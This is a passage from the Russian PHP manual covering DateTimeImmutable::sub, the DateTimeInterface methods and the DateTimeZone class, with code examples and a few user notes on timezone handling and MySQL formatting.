Описание

public DateTimeImmutable::sub(DateInterval $interval): DateTimeImmutable

Возвращает новый объект DateTimeImmutable, в котором указанный объект DateInterval вычитается из указанного объекта DateTimeImmutable.

Список параметров

object

Только для процедурного стиля: объект DateTime, возвращаемый date_create(). Функция изменяет этот объект.

interval

Объект DateInterval.

Возвращаемые значения

Возвращает новый объект DateTimeImmutable с модифицированными данными.

Ошибки

При попытке выполнить неподдерживаемую операцию, например, если в объекте DateInterval содержатся относительные характеристики времени (например, next weekday), будет выброшено исключение.

Список изменений

Версия | Описание
8.3.0 | Теперь при попытке выполнить неподдерживаемую операцию вместо предупреждения выбрасывается исключение DateInvalidOperationException.

Примеры

Пример #1 Пример использования DateTimeImmutable::sub()

Объектно-ориентированный стиль

<?php
$date = new DateTimeImmutable('2000-01-20');
$newDate = $date->sub(new DateInterval('P10D'));
echo $newDate->format('Y-m-d') . "\n";
?>

Результат выполнения данных примеров:

2000-01-10

Пример #2 Дополнительный пример DateTimeImmutable::sub()

<?php
$date = new DateTimeImmutable('2000-01-20');
$newDate = $date->sub(new DateInterval('PT10H30S'));
echo $newDate->format('Y-m-d H:i:s') . "\n";

$date = new DateTimeImmutable('2000-01-20');
$newDate = $date->sub(new DateInterval('P7Y5M4DT4H3M2S'));
echo $newDate->format('Y-m-d H:i:s') . "\n";
?>

Результат выполнения данного примера:

2000-01-19 13:59:30
1992-08-15 19:56:58

Пример #3 Будьте осторожны при вычитании месяцев

<?php
$date = new DateTimeImmutable('2001-04-30');
$interval = new DateInterval('P1M');

$newDate1 = $date->sub($interval);
echo $newDate1->format('Y-m-d') . "\n";

$newDate2 = $newDate1->sub($interval);
echo $newDate2->format('Y-m-d') . "\n";
?>

Результат выполнения данного примера:

2001-03-30
2001-03-02

Смотрите также

  • DateTimeImmutable::add() - Возвращает новый объект с добавленным количеством дней, месяцев, лет, часов, минут и секунд
  • DateTimeImmutable::diff() - Возвращает разницу между двумя объектами DateTime
  • DateTimeImmutable::modify() - Создаёт новый объект с изменённой временной меткой

User Contributed Notes

There are no user contributed notes for this page.


Интерфейс DateTimeInterface

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

Введение

Интерфейс DateTimeInterface обобщает работу DateTimeImmutable или DateTime. Невозможно реализовать этот интерфейс с пользовательским классом.

Общие константы, позволяющие форматировать объекты DateTimeImmutable или DateTime с помощью DateTimeImmutable::format() и DateTime::format() также определены в этом интерфейсе.

Обзор интерфейсов

interface DateTimeInterface {
/* Константы */
public const string ATOM = "Y-m-d\\TH:i:sP";
public const string COOKIE = "l, d-M-Y H:i:s T";
public const string ISO8601 = "Y-m-d\\TH:i:sO";
public const string ISO8601_EXPANDED = "X-m-d\\TH:i:sP";
public const string RFC822 = "D, d M y H:i:s O";
public const string RFC850 = "l, d-M-y H:i:s T";
public const string RFC1036 = "D, d M y H:i:s O";
public const string RFC1123 = "D, d M Y H:i:s O";
public const string RFC7231 = "D, d M Y H:i:s \\G\\M\\T";
public const string RFC2822 = "D, d M Y H:i:s O";
public const string RFC3339 = "Y-m-d\\TH:i:sP";
public const string RFC3339_EXTENDED = "Y-m-d\\TH:i:s.vP";
public const string RSS = "D, d M Y H:i:s O";
public const string W3C = "Y-m-d\\TH:i:sP";
/* Методы */
public diff(DateTimeInterface $targetObject, bool $absolute = false): DateInterval
public format(string $format): string
public getOffset(): int
public getTimestamp(): int
public getTimezone(): DateTimeZone|false
public __wakeup(): void
}

Предопределённые константы

DateTime::ATOM
DATE_ATOM
Atom (пример: 2005-08-15T15:52:01+00:00)
DateTime::COOKIE
DATE_COOKIE
HTTP Cookies (пример: Monday, 15-Aug-05 15:52:01 UTC)
DateTime::ISO8601
DATE_ISO8601
ISO-8601 (пример: 2005-08-15T15:52:01+0000)

Замечание: Этот формат не совместим с ISO-8601, но остаётся для обратной совместимости. Вместо него используйте DateTimeInterface::ISO8601_EXPANDED или DateTimeInterface::ATOM для совместимости с ISO-8601. (ссылка на ISO8601:2004 раздел 4.3.3 пункт d)

DateTimeInterface::ISO8601_EXPANDED
DATE_ISO8601_EXPANDED
ISO-8601 Expanded (пример: +10191-07-26T08:59:52+01:00)

Замечание: Формат позволяет использовать диапазоны годов, выходящие за пределы обычного диапазона ISO-8601 (0000-9999), всегда включая символ знака. Он также учитывает, что часть часового пояса (+01:00) совместима с ISO-8601.

DateTime::RFC822
DATE_RFC822
RFC 822 (пример: Mon, 15 Aug 05 15:52:01 +0000)
DateTime::RFC850
DATE_RFC850
RFC 850 (пример: Monday, 15-Aug-05 15:52:01 UTC)
DateTime::RFC1036
DATE_RFC1036
RFC 1036 (пример: Mon, 15 Aug 05 15:52:01 +0000)
DateTime::RFC1123
DATE_RFC1123
RFC 1123 (пример: Mon, 15 Aug 2005 15:52:01 +0000)
DateTimeInterface::RFC7231
DATE_RFC7231
RFC 7231 (с версии PHP 7.0.19 и 7.1.5) (пример: Sat, 30 Apr 2016 17:52:13 GMT)
DateTime::RFC2822
DATE_RFC2822
RFC 2822 (пример: Mon, 15 Aug 2005 15:52:01 +0000)
DateTime::RFC3339
DATE_RFC3339
Тоже, что и DATE_ATOM
DateTime::RFC3339_EXTENDED
DATE_RFC3339_EXTENDED
Формат RFC 3339 EXTENDED (пример: 2005-08-15T15:52:01.000+00:00)
DateTime::RSS
DATE_RSS
RSS (пример: Mon, 15 Aug 2005 15:52:01 +0000)
DateTime::W3C
DATE_W3C
World Wide Web Consortium (пример: 2005-08-15T15:52:01+00:00)

Список изменений

Версия | Описание
8.2.0 | Добавлена константа DateTimeInterface::ISO8601_EXPANDED.
7.2.0 | Константы класса теперь DateTime определены в DateTimeInterface.

Содержание

  • DateTimeInterface::diff — Возвращает разницу между двумя объектами DateTime
  • DateTimeInterface::format — Возвращает дату, отформатированную согласно переданному формату
  • DateTimeInterface::getOffset — Возвращает смещение часового пояса
  • DateTimeInterface::getTimestamp — Возвращает временную метку Unix
  • DateTimeInterface::getTimezone — Возвращает часовой пояс относительно текущего значения DateTime
  • DateTime::__wakeup — Обработчик __wakeup

User Contributed Notes

bohwaz 13-Nov-2022 11:22
Please note that if you are using DATE_RFC7231 format (used in HTTP/1.1), you'll need to change the DateTime object timezone to GMT *before*, or you'll encounter weird results, as this format DOES NOT convert the date to GMT.

So if you have a DateTime object using UTC+01:00 as its timezone, you will get a difference of 1 hour between your resulting date string and what should be the "correct" date.

Recommended use:

<?php
$date_gmt = clone $date;
$date_gmt->setTimezone(new \DateTimeZone('GMT'));
echo $date_gmt->format(DATE_RFC7231);
?>


Возвращает разницу между двумя объектами DateTime

  • « DateTimeInterface
  • DateTimeInterface::format »
  • PHP Manual
  • DateTimeInterface
  • Возвращает разницу между двумя объектами DateTime

DateTimeInterface::diff

DateTimeImmutable::diff

DateTime::diff

date_diff

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTimeInterface::diff -- DateTimeImmutable::diff -- DateTime::diff -- date_diff — Возвращает разницу между двумя объектами DateTime

Описание

Объектно-ориентированный стиль

public DateTimeInterface::diff(DateTimeInterface $targetObject, bool $absolute = false): DateInterval
public DateTimeImmutable::diff(DateTimeInterface $targetObject, bool $absolute = false): DateInterval
public DateTime::diff(DateTimeInterface $targetObject, bool $absolute = false): DateInterval

Процедурный стиль

date_diff(DateTimeInterface $baseObject, DateTimeInterface $targetObject, bool $absolute = false): DateInterval

Возвращает разницу между двумя объектами DateTimeInterface.

Список параметров

datetime

Дата и время для сравнения.

absolute

Определяет, будет ли интервал принудительно переведен в абсолютную величину.

Возвращаемые значения

Возвращает объект DateInterval, который представляет разницу между двумя датами.

Возвращаемое значение более конкретно представляет временной интервал, который при применении к исходному объекту ($this или $originObject) приводит к объекту $targetObject. Этот процесс не всегда обратим.

Метод учитывает смену часовых поясов и поэтому может возвращать интервал 24 hours and 30 minutes, как в одном из примеров. Если нужно рассчитывать по абсолютному времени, необходимо сначала преобразовать объекты $this/$baseObject и $targetObject в UTC.

Примеры

Пример #1 Пример использования метода DateTimeInterface::diff() с диапазоном дат

Значение, которое возвращает метод, — это точное количество времени, которое необходимо для перехода от времени объекта $this ко времени объекта $targetObject. Поэтому сравнение 1 января с 31 декабря возвращает 364 дня, а не 365 дней (для невисокосных годов).

<?php
$originalTime = new DateTimeImmutable("2023-01-01 UTC");
$targedTime = new DateTimeImmutable("2023-12-31 UTC");
$interval = $originalTime->diff($targedTime);
echo "Полных дней: ", $interval->format("%a"), "\n";
?>

Результат выполнения данного примера:

Полных дней: 364

Пример #2 Пример использования DateTimeImmutable::diff()

Объектно-ориентированный стиль

<?php
$origin = new DateTimeImmutable('2009-10-11');
$target = new DateTimeImmutable('2009-10-13');
$interval = $origin->diff($target);
echo $interval->format('%R%a дней');
?>

Процедурный стиль

<?php
$origin = date_create('2009-10-11');
$target = date_create('2009-10-13');
$interval = date_diff($origin, $target);
echo $interval->format('%R%a дней');
?>

Результат выполнения данных примеров:

+2 days

Пример #3 Пример использования DateTimeInterface::diff() во время перехода на летнее время

<?php
$originalTime = new DateTimeImmutable("2021-10-30 09:00:00 Europe/London");
$targedTime = new DateTimeImmutable("2021-10-31 08:30:00 Europe/London");
$interval = $originalTime->diff($targedTime);
echo $interval->format("%H:%I:%S (Полных дней: %a)"), "\n";
?>

Результат выполнения данного примера:

24:30:00 (Полных дней: 0)

Пример #4 Сравнение объектов DateTime

Замечание:

Объекты DateTimeImmutable и DateTime можно сравнивать операторами сравнения.

<?php
$date1 = new DateTime("now");
$date2 = new DateTime("tomorrow");

var_dump($date1 == $date2);
var_dump($date1 < $date2);
var_dump($date1 > $date2);
?>

Результат выполнения данного примера:

bool(false)
bool(true)
bool(false)

Смотрите также

  • DateInterval::format() - Форматирует интервал
  • DateTime::add() - Изменяет объект DateTime, добавляя количество дней, месяцев, лет, часов, минут и секунд
  • DateTime::sub() - Вычитает дни, месяцы, годы, часы, минуты и секунды из объекта DateTime

User Contributed Notes

There are no user contributed notes for this page.


Возвращает дату, отформатированную согласно переданному формату

  • « DateTimeInterface::diff
  • DateTimeInterface::getOffset »
  • PHP Manual
  • DateTimeInterface
  • Возвращает дату, отформатированную согласно переданному формату

DateTimeInterface::format

DateTimeImmutable::format

DateTime::format

date_format

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeInterface::format -- DateTimeImmutable::format -- DateTime::format -- date_format — Возвращает дату, отформатированную согласно переданному формату

Описание

Объектно-ориентированный стиль

public DateTimeInterface::format(string $format): string
public DateTimeImmutable::format(string $format): string
public DateTime::format(string $format): string

Процедурный стиль

date_format(DateTimeInterface $object, string $format): string

Возвращает строку даты, преобразованной согласно переданному формату.

Список параметров

object

Только для процедурного стиля: объект DateTime, возвращаемый date_create().

format

Шаблон результирующей строки (string) с датой. Смотрите параметры форматирования ниже. Также существует несколько предопределённых констант даты/времени, которые могут быть использованы вместо этих параметров. Например: DATE_RSS заменяет шаблон 'D, d M Y H:i:s'.

В параметре format распознаются следующие символы
Символ в строке format | Описание | Пример возвращаемого значения
День --- ---
d | День месяца, 2 цифры с ведущим нулём | от 01 до 31
D | Текстовое представление дня недели, 3 символа | от Mon до Sun
j | День месяца без ведущего нуля | от 1 до 31
l (строчная 'L') | Полное наименование дня недели | от Sunday до Saturday
N | Порядковый номер дня недели в соответствии со стандартом ISO 8601 | от 1 (понедельник) до 7 (воскресенье)
S | Английский суффикс порядкового числительного дня месяца, 2 символа | st, nd, rd или th. Применяется совместно с j
w | Порядковый номер дня недели | от 0 (воскресенье) до 6 (суббота)
z | Порядковый номер дня в году (начиная с 0) | От 0 до 365
Неделя --- ---
W | Порядковый номер недели года в соответствии со стандартом ISO 8601; недели начинаются с понедельника | Например: 42 (42-я неделя года)
Месяц --- ---
F | Полное наименование месяца, например, January или March | от January до December
m | Порядковый номер месяца с ведущим нулём | от 01 до 12
M | Сокращённое наименование месяца, 3 символа | от Jan до Dec
n | Порядковый номер месяца без ведущего нуля | от 1 до 12
t | Количество дней в указанном месяце | от 28 до 31
Год --- ---
L | Признак високосного года | 1, если год високосный, иначе 0.
o | Номер года в соответствии со стандартом ISO 8601. Имеет то же значение, что и Y, кроме случая, когда номер недели ISO (W) принадлежит предыдущему или следующему году; тогда будет использован год этой недели. | Примеры: 1999 или 2003
X | Расширенное полное числовое представление года, не менее 4 цифр, с - для годов до нашей эры и + для годов нашей эры. | Примеры: -0055, +0787, +1999, +10191
x | Расширенное полное числовое представление, если требуется или стандартное полное числовое представление, если возможно (например, Y). Не менее четырёх цифр. Для годов до нашей эры указан префикс -. У годов после (и включая) 10000 префикс +. | Примеры: -0055, 0787, 1999, +10191
Y | Полное числовое представление года, не менее 4 цифр, с - для годов до нашей эры. | Примеры: -0055, 0787, 1999, 2003, 10191.
y | Номер года, 2 цифры | Примеры: 99, 03
Время --- ---
a | Ante meridiem (лат. "до полудня") или Post meridiem (лат. "после полудня") в нижнем регистре | am или pm
A | Ante meridiem или Post meridiem в верхнем регистре | AM или PM
B | Время в формате Интернет-времени (альтернативной системы отсчёта времени суток) | от 000 до 999
g | Часы в 12-часовом формате без ведущего нуля | от 1 до 12
G | Часы в 24-часовом формате без ведущего нуля | от 0 до 23
h | Часы в 12-часовом формате с ведущим нулём | от 01 до 12
H | Часы в 24-часовом формате с ведущим нулём | от 00 до 23
i | Минуты с ведущим нулём | от 00 до 59
s | Секунды с ведущим нулём | от 00 до 59
u | Микросекунды. Учтите, что date() всегда будет возвращать 000000, т.к. она принимает целочисленный (int) параметр, тогда как DateTime::format() поддерживает микросекунды, если DateTime создан с ними. | Например: 654321
v | Миллисекунды. Замечание такое же как и для u. | Пример: 654
Часовой пояс --- ---
e | Идентификатор часового пояса | Примеры: UTC, GMT, Atlantic/Azores
I (заглавная i) | Признак летнего времени | 1, если дата соответствует летнему времени, 0 в противном случае.
O | Разница с временем по Гринвичу без двоеточия между часами и минутами | Например: +0200
P | Разница с временем по Гринвичу с двоеточием между часами и минутами | Например: +02:00
p | То же, что и P, но возвращает Z вместо +00:00 (доступен, начиная с PHP 8.0.0) | Например: Z или +02:00
T | Аббревиатура часового пояса, если известна; в противном случае смещение по Гринвичу. | Примеры: EST, MDT, +05
Z | Смещение часового пояса в секундах. Для часовых поясов, расположенных западнее UTC, возвращаются отрицательные числа, а для расположенных восточнее UTC - положительные. | от -43200 до 50400
Полная дата/время --- ---
c | Дата в формате стандарта ISO 8601 | 2004-02-12T15:19:21+00:00
r | Дата в формате » RFC 222/» RFC 5322 | Например: Thu, 21 Dec 2000 16:01:07 +0200
U | Количество секунд, прошедших с начала Эпохи Unix (1 января 1970 00:00:00 GMT) | Смотрите также time()

Любые другие символы, встреченные в строке-шаблоне, будут выведены в результирующую строку без изменений. Z всегда возвращает 0 при использовании gmdate().

Замечание:

Поскольку рассматриваемая функция принимает в качестве параметра временные метки типа int, форматирующий символ u будет полезен только при использовании функции date_format() и пользовательских меток времени, созданных с помощью функции date_create().

Возвращаемые значения

Возвращает строку с отформатированной датой в случае успешного выполнения.

Список изменений

Версия | Описание
8.2.0 | Добавлены символы форматирования X и x.
8.0.0 | Добавлен символ форматирования p.

Примеры

Пример #1 Пример использования DateTimeInterface::format()

Объектно-ориентированный стиль

<?php
$date = new DateTimeImmutable('2000-01-01');
echo $date->format('Y-m-d H:i:s');
?>

Процедурный стиль

<?php
$date = date_create('2000-01-01');
echo date_format($date, 'Y-m-d H:i:s');
?>

Результат выполнения данного примера:

2000-01-01 00:00:00

Пример #2 Больше примеров

<?php
// установка часового пояса по умолчанию.
date_default_timezone_set('UTC');

// сейчас
$date = new DateTimeImmutable();

// Выведет что-то подобное: Wednesday
echo $date->format('l'), "\n";

// Выведет что-то подобное: Wednesday 19th of October 2022 08:40:48 AM
echo $date->format('l jS \o\f F Y h:i:s A'), "\n";

/* Использование констант в параметре format */
// Выведет что-то подобное: Wed, 19 Oct 2022 08:40:48 +0000
echo $date->format(DateTimeInterface::RFC2822), "\n";
?>

Вы можете предотвратить расширение распознанного символа в строке формата, экранировав его предшествующим обратным слешем. Если слеш уже является специальной последовательностью, его также может потребоваться экранировать.

Пример #3 Экранирование символов во время форматирования

<?php
$date = new DateTimeImmutable();

// Выведет что-то подобное: Wednesday the 19th
echo $date->format('l \t\h\e jS');
?>

Для форматирования дат на других языках, вместо метода DateTimeInterface::format() можно использовать метод IntlDateFormatter::format().

Примечания

Данный метод не использует настройки локали. Вывод производится на английском языке.

Смотрите также

  • date() - Форматирует временную метку Unix

User Contributed Notes

reed at taeluf dot com 17-Nov-2023 09:49
Formatting for MySQL:

<?php
// as your application needs
$timezone = new \DateTimeZone("Europe/Tallinn");
$dt = new \DateTime('now', $timezone);

// MySql does not store timezone information, so normalize it
$dt->setTimezone(new \DateTimeZone("UTC"));
$db_friendly_string = $dt->format('Y-m-d H:i:s');
// insert $db_friendly_string into a DATETIME mysql column
?>

Loading FROM mysql is essentially the same:

<?php
$timezone = new \DateTimeZone("Europe/Tallinn");
$db_datetime = '2023-11-17 15:19:03';
$dt = \DateTime::createFromFormat('Y-m-d H:i:s', $db_datetime);
$dt->setTimezone($timezone);
?>

Also see https://dev.mysql.com/doc/refman/8.0/en/datetime.html

MySql docs state "In MySQL 8.0.19 and later, you can specify a time zone offset when inserting a TIMESTAMP or DATETIME value into a table. See Section 9.1.3, "Date and Time Literals", for more information and examples. "

However, in my testing on mysql  Ver 8.0.35, the time zone offset is discarded & the datetime string that's stored is exactly as you send to server - not modified with the offset.

If you insert with an offset, this is the format:
'2023-11-17 15:19:03-08:00'
Or the DateTime Format:
'Y-m-d H:i:sP'


Возвращает смещение часового пояса

  • « DateTimeInterface::format
  • DateTimeInterface::getTimestamp »
  • PHP Manual
  • DateTimeInterface
  • Возвращает смещение часового пояса

DateTimeInterface::getOffset

DateTimeImmutable::getOffset

DateTime::getOffset

date_offset_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeInterface::getOffset -- DateTimeImmutable::getOffset -- DateTime::getOffset -- date_offset_get — Возвращает смещение часового пояса

Описание

Объектно-ориентированный стиль

public DateTimeInterface::getOffset(): int
public DateTimeImmutable::getOffset(): int
public DateTime::getOffset(): int

Процедурный стиль

date_offset_get(DateTimeInterface $object): int

Возвращает смещение часового пояса.

Список параметров

object

Только для процедурного стиля: объект DateTime, возвращаемый date_create().

Возвращаемые значения

В случае успешного выполнения возвращает смещение часового пояса относительно UTC в секундах.

Примеры

Пример #1 Пример использования DateTime::getOffset()

Объектно-ориентированный стиль

<?php
$winter = new DateTimeImmutable('2010-12-21', new DateTimeZone('America/New_York'));
$summer = new DateTimeImmutable('2008-06-21', new DateTimeZone('America/New_York'));

echo $winter->getOffset() . "\n";
echo $summer->getOffset() . "\n";
?>

Процедурный стиль

<?php
$winter = date_create('2010-12-21', timezone_open('America/New_York'));
$summer = date_create('2008-06-21', timezone_open('America/New_York'));

echo date_offset_get($winter) . "\n";
echo date_offset_get($summer) . "\n";
?>

Результат выполнения данных примеров:

-18000
-14400

Замечание: -18000 = -5 часов, -14400 = -4 часа.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает временную метку Unix

  • « DateTimeInterface::getOffset
  • DateTimeInterface::getTimezone »
  • PHP Manual
  • DateTimeInterface
  • Возвращает временную метку Unix

DateTimeInterface::getTimestamp

DateTimeImmutable::getTimestamp

DateTime::getTimestamp

date_timestamp_get

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTimeInterface::getTimestamp -- DateTimeImmutable::getTimestamp -- DateTime::getTimestamp -- date_timestamp_get — Возвращает временную метку Unix

Описание

Объектно-ориентированный стиль

public DateTimeInterface::getTimestamp(): int
public DateTimeImmutable::getTimestamp(): int
public DateTime::getTimestamp(): int

Процедурный стиль

date_timestamp_get(DateTimeInterface $object): int

Возвращает временную метку Unix.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает временную метку Unix для указанной даты.

Ошибки

Если не получится представить временную метку целым числом (int), будет выброшено исключение DateRangeError. До PHP 8.3.0 выбрасывалось исключение ValueError. А до PHP 8.0.0 возвращалось логическое значение false. При этом метку времени можно получить в виде строки (string), вызвав метод DateTimeInterface::format() с параметром форматирования U.

Список изменений

Версия | Описание
8.3.0 | Теперь при выходе за пределы диапазона будет выброшено исключение DateRangeError.
8.0.0 | Функции больше не возвращают значение false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования DateTime::getTimestamp()

Объектно-ориентированный стиль

<?php
$date = new DateTimeImmutable();
echo $date->getTimestamp();
?>

Процедурный стиль

<?php
$date = date_create();
echo date_timestamp_get($date);
?>

Результатом выполнения данных примеров будет что-то подобное:

1272509157

Если необходимо получить метку времени с миллисекундами или микросекундами, можно использовать функцию DateTimeInterface::format().

Пример #2 Получение метки времени с милли- и микросекундами

Объектно-ориентированный стиль

<?php
$date = new DateTimeImmutable();
$milli = (int)$date->format('Uv'); // Метка времени с миллисекундами
$micro = (int)$date->format('Uu'); // Метка времени с микросекундами

echo $milli, "\n", $micro, "\n";
?>

Результатом выполнения данных примеров будет что-то подобное:

1674057635586
1674057635586918

Смотрите также

  • DateTime::setTimestamp() - Устанавливает дату и время на основе метки времени Unix
  • DateTimeImmutable::setTimestamp() - Устанавливает дату и время на основе метки времени Unix
  • DateTimeInterface::format() - Возвращает дату, отформатированную согласно переданному формату

User Contributed Notes

There are no user contributed notes for this page.


Возвращает часовой пояс относительно текущего значения DateTime

  • « DateTimeInterface::getTimestamp
  • DateTime::__wakeup »
  • PHP Manual
  • DateTimeInterface
  • Возвращает часовой пояс относительно текущего значения DateTime

DateTimeInterface::getTimezone

DateTimeImmutable::getTimezone

DateTime::getTimezone

date_timezone_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeInterface::getTimezone -- DateTimeImmutable::getTimezone -- DateTime::getTimezone -- date_timezone_get — Возвращает часовой пояс относительно текущего значения DateTime

Описание

Объектно-ориентированный стиль

public DateTimeInterface::getTimezone(): DateTimeZone|false
public DateTimeImmutable::getTimezone(): DateTimeZone|false
public DateTime::getTimezone(): DateTimeZone|false

Процедурный стиль

date_timezone_get(DateTimeInterface $object): DateTimeZone|false

Возвращает часовой пояс относительно текущего значения DateTime.

Список параметров

object

Только для процедурного стиля: объект DateTime, возвращаемый date_create().

Возвращаемые значения

Возвращает объект DateTimeZone в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования DateTime::getTimezone()

Объектно-ориентированный стиль

<?php
$date = new DateTimeImmutable(null, new DateTimeZone('Europe/London'));
$tz = $date->getTimezone();
echo $tz->getName();
?>

Процедурный стиль

<?php
$date = date_create(null, timezone_open('Europe/London'));
$tz = date_timezone_get($date);
echo timezone_name_get($tz);
?>

Результат выполнения данных примеров:

Europe/London

Смотрите также

  • DateTime::setTimezone() - Устанавливает часовой пояс для объекта класса DateTime

User Contributed Notes

There are no user contributed notes for this page.


Обработчик __wakeup

  • « DateTimeInterface::getTimezone
  • DateTimeZone »
  • PHP Manual
  • DateTimeInterface
  • Обработчик __wakeup

DateTime::__wakeup

DateTimeImmutable::__wakeup

DateTimeInterface::__wakeup

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::__wakeup -- DateTimeImmutable::__wakeup -- DateTimeInterface::__wakeup — Обработчик __wakeup

Описание

public DateTime::__wakeup(): void
public DateTimeImmutable::__wakeup(): void
public DateTimeInterface::__wakeup(): void

Обработчик __wakeup().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Инициализирует объект DateTime.

User Contributed Notes

There are no user contributed notes for this page.


Класс DateTimeZone

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

Введение

Представление часового пояса.

Обзор классов

class DateTimeZone {
/* Константы */
public const int AFRICA;
public const int AMERICA;
public const int ANTARCTICA;
public const int ARCTIC;
public const int ASIA;
public const int ATLANTIC;
public const int AUSTRALIA;
public const int EUROPE;
public const int INDIAN;
public const int PACIFIC;
public const int UTC;
public const int ALL;
public const int ALL_WITH_BC;
public const int PER_COUNTRY;
/* Методы */
public __construct(string $timezone)
public getLocation(): array|false
public getName(): string
public getOffset(DateTimeInterface $datetime): int
public getTransitions(int $timestampBegin = PHP_INT_MIN, int $timestampEnd = PHP_INT_MAX): array|false
public static listAbbreviations(): array
public static listIdentifiers(int $timezoneGroup = DateTimeZone::ALL, ?string $countryCode = null): array
}

Предопределённые константы

DateTimeZone::AFRICA

Часовые пояса Африки.

DateTimeZone::AMERICA

Часовые пояса Америки.

DateTimeZone::ANTARCTICA

Часовые пояса Антарктики.

DateTimeZone::ARCTIC

Часовые пояса Арктики.

DateTimeZone::ASIA

Часовые пояса Азии.

DateTimeZone::ATLANTIC

Часовые пояса Атлантики.

DateTimeZone::AUSTRALIA

Часовые пояса Австралии.

DateTimeZone::EUROPE

Часовые пояса Европы.

DateTimeZone::INDIAN

Часовые пояса Индии.

DateTimeZone::PACIFIC

Часовые пояса Тихого океана.

DateTimeZone::UTC

Часовой пояс UTC.

DateTimeZone::ALL

Все часовые пояса.

DateTimeZone::ALL_WITH_BC

Все часовые пояса, включая обратно совместимые.

DateTimeZone::PER_COUNTRY

Число часовых поясов на страну.

Содержание

  • DateTimeZone::__construct — Создаёт новый объект DateTimeZone
  • DateTimeZone::getLocation — Возвращает информацию о местоположении для часового пояса
  • DateTimeZone::getName — Возвращает имя часового пояса
  • DateTimeZone::getOffset — Возвращает смещение часового пояса от UTC (GMT)
  • DateTimeZone::getTransitions — Возвращает все переходы для часового пояса
  • DateTimeZone::listAbbreviations — Возвращает ассоциативный массив, содержащий флаг перехода на летнее время, смещение и имя часового пояса
  • DateTimeZone::listIdentifiers — Возвращает численно индексированный массив со всеми идентификаторами часовых поясов

User Contributed Notes

Jarmo Troska 30-Aug-2023 09:15
Example of converting between timezones using the DateTime and DateTimeZone classes.

Note that PHP will also take care of calculating relevant daylight savings!

<?php

$utc_timezone = new DateTimeZone("UTC");

$tallinn_timezone = new DateTimeZone("Europe/Tallinn");

// Create a new DateTime object in the UTC format

$datetime = new DateTime("2023-01-01 11:00:00", $utc_timezone);

// Convert the DateTime object to the timezone of Tallinn

$datetime->setTimezone($tallinn_timezone);

// Display the result in the YYYY-MM-DD HH:MM:SS format

echo $datetime->format('Y-m-d H:i:s');

// Returns: 2023-01-01 13:00:00

?>


Создаёт новый объект DateTimeZone

  • « DateTimeZone
  • DateTimeZone::getLocation »
  • PHP Manual
  • DateTimeZone
  • Создаёт новый объект DateTimeZone

DateTimeZone::__construct

timezone_open

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTimeZone::__construct -- timezone_open — Создаёт новый объект DateTimeZone

Описание

Объектно-ориентированный стиль

public DateTimeZone::__construct(string $timezone)

Процедурный стиль

timezone_open(string $timezone): DateTimeZone|false

Создаёт новый объект DateTimeZone.

Объект DateTimeZone предоставляет доступ к трём различным типам правил временных зон: Смещение UTC (тип 1), сокращение часового пояса (тип 2) и идентификаторы часовых поясов, опубликованные в базе данных часовых поясов IANA (тип 3).

Объект DateTimeZone может быть присоединён к объектам DateTime и DateTimeImmutable, чтобы иметь возможность отображать часовой пояс, заключённый в этих объектах в локальном часовом поясе.

Список параметров

timezone

Одно из поддерживаемых имён часовых поясов или значение смещения (+0200) или аббревиатура часового пояса (BST).

Возвращаемые значения

В случае успешного выполнения возвращает DateTimeZone. Процедурный стиль возвращает false в случае возникновения ошибки.

Ошибки

Если часовой пояс не распознается как действительный, выбрасывается исключение DateInvalidTimeZoneException. До PHP 8.3 вместо этого выбрасывалось исключение Exception.

Список изменений

Версия | Описание
8.3.0 | Теперь из-за недопустимых значений вместо общего исключения Exception выбрасывается исключение DateInvalidTimeZoneException.

Примеры

Пример #1 Создание и присоединение DateTimeZone к DateTimeImmutable

<?php
$d = new DateTimeImmutable("2022-06-02 15:44:48 UTC");

$timezones = [ 'Europe/London', 'GMT+04:45', '-06:00', 'CEST' ];

foreach ($timezones as $tz) {
$tzo = new DateTimeZone($tz);

$local = $d->setTimezone($tzo);
echo $local->format(DateTimeInterface::RFC2822 . ' — e'), "\n";
}
?>

Результат выполнения данного примера:

Thu, 02 Jun 2022 16:44:48 +0100 — Europe/London
Thu, 02 Jun 2022 20:29:48 +0445 — +04:45
Thu, 02 Jun 2022 09:44:48 -0600 — -06:00
Thu, 02 Jun 2022 17:44:48 +0200 — CEST

Пример #2 Перехват ошибок при создании экземпляра DateTimeZone

<?php
// Обработка ошибок с помощью перехвата исключений
$timezones = array('Europe/London', 'Mars/Phobos', 'Jupiter/Europa');

foreach ($timezones as $tz) {
try {
$mars = new DateTimeZone($tz);
} catch(Exception $e) {
echo $e->getMessage() . '<br />';
}
}
?>

Результат выполнения данного примера:

DateTimeZone::__construct() [datetimezone.--construct]: Unknown or bad timezone (Mars/Phobos)
DateTimeZone::__construct() [datetimezone.--construct]:  Unknown or bad timezone (Jupiter/Europa)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает информацию о местоположении для часового пояса

  • « DateTimeZone::__construct
  • DateTimeZone::getName »
  • PHP Manual
  • DateTimeZone
  • Возвращает информацию о местоположении для часового пояса

DateTimeZone::getLocation

timezone_location_get

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTimeZone::getLocation -- timezone_location_get — Возвращает информацию о местоположении для часового пояса

Описание

Объектно-ориентированный стиль

public DateTimeZone::getLocation(): array|false

Процедурный стиль

timezone_location_get(DateTimeZone $object): array|false

Возвращает информацию о местоположении часового пояса, включая код страны, широту/долготу и комментарии.

Список параметров

object

Только для процедурного стиля: объект DateTimeZone, возвращаемый timezone_open().

Возвращаемые значения

Массив, содержащий информацию о местоположении часового пояса или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования DateTimeZone::getLocation()

<?php
$tz = new DateTimeZone("Europe/Prague");
print_r($tz->getLocation());
print_r(timezone_location_get($tz));
?>

Результат выполнения данного примера:

Array
(
